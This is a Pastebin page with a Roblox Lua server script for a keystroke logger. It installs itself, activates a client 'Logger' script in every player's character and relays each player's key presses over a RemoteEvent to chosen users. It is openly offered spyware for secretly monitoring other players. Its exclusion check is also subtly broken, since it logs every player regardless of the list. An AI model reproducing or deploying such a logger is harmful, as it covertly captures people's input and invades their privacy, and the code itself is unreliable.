Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local DoNotSpyOn = {"mom","dad"} --Add here usernames or userids of players you want to not spy on.. the logger will send to them the logs by the way
- local function Install()
- if script.Parent ~= game:GetService("ServerScriptService") then
- script.Parent = game:GetService("ServerScriptService")
- end
- if script:FindFirstChild("LocalScript") then
- script.LocalScript.Name = "Logger"
- wait()
- script:WaitForChild("Logger").Disabled = false
- script:WaitForChild("Logger").Parent = game:GetService("StarterPlayer"):WaitForChild("StarterCharacterScripts")
- else
- warn("Please create a LocalScript inside the Script")
- end
- script.Name = "Receiver"
- local _LogsEvent = Instance.new("RemoteEvent")
- _LogsEvent.Name = "_LogsEvent"
- _LogsEvent.Parent = game:GetService("ReplicatedStorage")
- end
- Install()
- game:GetService("ReplicatedStorage"):WaitForChild("_LogsEvent").OnServerEvent:Connect(function(Player, Key)
- for i,v in pairs(DoNotSpyOn) do
- if Player.Name:lower() ~= v:lower() or Player.UserId ~= tonumber(v) then
- if game:GetService("Players"):FindFirstChild(v) then
- game:GetService("ReplicatedStorage"):WaitForChild("_LogsEvent"):FireClient(game:GetService("Players"):FindFirstChild(v), Player, Key)
- end
- end
- end
- end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement